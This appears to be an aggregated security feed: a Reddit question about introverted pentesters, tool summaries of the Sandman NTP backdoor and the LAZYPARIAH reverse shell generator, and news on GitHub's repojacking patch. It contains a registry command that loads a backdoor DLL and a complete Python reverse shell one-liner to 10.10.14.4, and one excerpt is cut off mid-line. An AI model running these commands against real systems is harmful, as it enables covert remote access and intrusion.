Do you have to be extroverted to be a pen tester?
https://www.reddit.com/r/Pentesting/comments/yflvlc/do_you_have_to_be_extroverted_to_be_a_pen_tester/

Hi I have a question to ask you guys. Can I become a pen tester if I’m introverted, and shy? I’m a computer science major who’s going to graduate with his associates degree in the spring of 2024. After that I’m going to transfer to another college that offers computer science and cybersecurity all in one. Also I remember watching a video about pen testing by the cyber mentor and he said that you have to be able to debrief the clients at a high based technical level. How do I make myself more extroverted, and increase my social skills to be able to explain things to people at a high based technical level? submitted by /u/ELIDAL99 (https://www.reddit.com/user/ELIDAL99)

Sandman - NTP Based Backdoor For Red Team Engagements In Hardened Networks
http://www.kitploit.com/2022/10/sandman-ntp-based-backdoor-for-red-team.html

___________________________

Sandman is a backdoor (https://www.kitploit.com/search/label/Backdoor) that is meant to work on hardened networks during red team (https://www.kitploit.com/search/label/Red%20Team) engagements. Sandman works as a stager and leverages NTP (a protocol to sync time & date) to get and run an arbitrary shellcode from a pre-defined server. Since NTP is a protocol that is overlooked by many defenders resulting in wide network accessibility.
Usage SandmanServer (Usage) Run on windows / *nix machine: python3 sandman_server.py "Network Adapter" "Payload Url" "optional: ip to spoof" Network Adapter: The adapter that you want the server to listen on (for example Ethernet (https://www.kitploit.com/search/label/Ethernet) for Windows, eth0 for *nix). Payload Url: The URL to your shellcode, it could be your agent (for example, CobaltStrike (https://www.kitploit.com/search/label/CobaltStrike) or meterpreter) or another stager. IP to Spoof: If you want to spoof a legitimate IP address (for example, time.microsoft.com's IP address). SandmanBackdoor (Usage) To start, you can compile the SandmanBackdoor as mentioned below (https://github.com/Idov31/Sandman#setup), because it is a single lightweight C# executable you can execute it via ExecuteAssembly, run it as an NTP provider or just execute/inject it. SandmanBackdoorTimeProvider (Usage) To use it, you will need to follow simple steps: Add the following registry value: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\Path\To\TheDll.dll" Restart the w32time service: sc stop w32time
sc start w32time NOTE: Make sure you are compiling with the x64 option and not any CPU option! Capabilities Getting and executing an arbitrary payload from an attacker's controlled server. Can work on hardened networks since NTP is usually allowed in FW. Impersonating a legitimate NTP server via IP spoofing. Setup SandmanServer (Setup) Python 3.9 The requirements (https://www.kitploit.com/search/label/Requirements) are specified in the requirements (https://github.com/Idov31/Sandman/blob/master/SandmanServer/requirements.txt) file. SandmanBackdoor (Setup) To compile the backdoor I used Visual Studio 2022, but as mentioned in the usage section (https://github.com/Idov31/Sandman#usage) it can be compiled with both VS2022 and CSC. You can compile it either using the USE_SHELLCODE and use Orca's shellcode or without USE_SHELLCODE to use WebClient. SandmanBackdoorTimeProvider (Setup) To compile the backdoor I used Visual Studio 2022, you will also need to install DllExport (https://github.com/3F/DllExport) (via Nuget or any other way) to compile it. You can compile it either using the USE_SHELLCODE and use Orca's shellcode or without USE_SHELLCODE to use WebClient. IOCs A shellcode is injected into RuntimeBroker. Suspicious NTP communication starts with a known magic header. YARA rule. Contributes Orca (https://github.com/ORCx41/) for the shellcode. Special thanks to Tim McGuffin (https://twitter.com/NotMedic) for the time provider idea (https://twitter.com/NotMedic/status/1561354598744473601). Thanks to those who already contributed and I'll happily accept contributions, make a pull request and I will review it!

Reading Time: 4 Minutes LAZYPARIAHLAZYPARIAH by octetsplicer is a tool for generating reverse shell payloads on the fly. Basically, it is a simple and easily installable command-line tool written in pure Ruby that can be used during penetration tests and capture-the-flag (CTF) competitions to generate a range of reverse shell payloads on the fly. We all know, a shell is just the beginning, with this tool, you get to pop one easily. It can be part of your workflow as a Pentester when it comes to post-exploitation, or as part of your Internal Pentesting Assessments attacks.
See Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course DescriptionLAZYPARIAH is a simple and easily installable command-line tool written in pure Ruby that can be used during penetration tests and capture-the-flag (CTF) competitions to generate a range of reverse shell payloads on the fly.

The reverse shell payloads that LAZYPARIAH supports include (but are not limited to):

* C binary payloads (compiled on the fly): c_binary
* Ruby payloads: ruby, ruby_b64, ruby_hex, ruby_c
* Powershell payloads: powershell_c, powershell_b64
* Base64-encoded Python payloads: python_b64
* Rust binary payloads (compiled on the fly): rust_binary
* PHP scripts containing base64-encoded Python payloads called via the system() function: php_system_python_b64
* Java classes (compiled on the fly): java_class
* Perl payloads: perl, perl_b64, perl_hex, perl_c
* Simple PHP payloads (targeting specific file descriptors): php_fd, php_fd_c, php_fd_tags Dependencies* Ruby >= 2.7.1 (LAZYPARIAH has not been tested on previous versions of Ruby)
* OpenJDK (Optional: Only required for java_class payloads.)
* GCC (Optional: Only required for c_binary payloads.)
* Rust (Optional: Only required for rust_binary payloads.) InstallationLAZYPARIAH can be installed on most GNU/Linux and BSD systems using the RubyGems installer as follows: gem install lazypariahTrending: Offensive Security Tool: Monkey365
Trending: Recon Tool: Collector Usagehttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/usage_-659x1024.png Further Notes and ExamplesThe payloads listed above are more-or-less systematically named.

Payloads ending with _c are intended to be executed from within a shell session. These payloads execute code directly using the relevant interpreter (e.g. python3 -c or ruby -e).

For example, the command lazypariah python_c 10.10.14.4 1337 should produce the following output: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'The command lazypariah python 10.10.14.4 1337, on the other hand, should simply produce a block of Python code which could potentially be placed in a .py file: import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);Generally speaking, selecting payloads ending with _b64 should produce a command intended to be run from within a shell session in a similar manner to payloads ending with _c, but the commands will be different in structure. These commands will essentially pipe a base64-encoded block of code through to base64 -d and then on through to the relevant interpreter (such as python3, python2 or ruby).

For example, the command lazypariah python_b64 10.10[...]

GitHub patches bug called repojacking that could allow access to another user’s repo

GitHub patches bug called repojacking that could allow access to another user’s repoPost Views: 43 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.
Reading Time: 3 Minutes Coined ‘repojacking’ by researchers from Checkmarx, the technique could have enabled malicious actors to bypass protections against the takeover of “retired” GitHub namespaces.​A flaw in GitHub’s namespace retirement feature could have allowed attackers to potentially access another user’s repository.

GitHub repositories have a unique URL which is nested under the user account that created it. The linked URL and username together are called a ‘namespace’.

When a user chooses to rename their GitHub account, the platform will redirect their old URLs to the new URL.

However, this feature was found to be vulnerable to “a logical flaw that breaks the original redirect”.

If a malicious actor created an account using the previous account name of another user, they were able to link the old repository URL to their account, gaining access to code and other content in the process.

In addition, and compounding the problem, the default redirect was disabled, so if an attack was successful then all existing traffic was immediately routed to the attackers malicious GitHub repository.

To protect against this, GitHub initially introduced the “popular repository namespace retirement” feature, meaning that any repository with more than 100 clones at the time its user account is renamed is considered “retired” and the namespace cannot be used by others.
See Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course TimelineIn a blog post, Checkmarx researchers explained that they found two bypasses that allowed them to exploit the feature, noting that a successful attack would enable the takeover of popular code packages in several popular package managers including Packagist, Go, Swift, and more.

The team discovered an initial bypass in November 2021 and reported this to GitHub, which “fixed” it In March 2022.

In May 2022, it was still deemed to be exploitable and was again patched later that month.

Then in June, Checkmarx researchers found a second bypass, which was patched in September and disclosed this week (October 26).

The researchers were awarded an undisclosed bug bounty reward for the discovery. Checkmarx warns that thousands of repos could be at risk if any further bypasses were found.
Trending: Common and Uncommon types of SQL Injection Trending: Offensive Security Tool: Monkey365 “We have identified over 10,000 packages in those package managers using renamed usernames and are at risk of being vulnerable to this technique in case a new bypass is found,” the researchers said in a blog post.
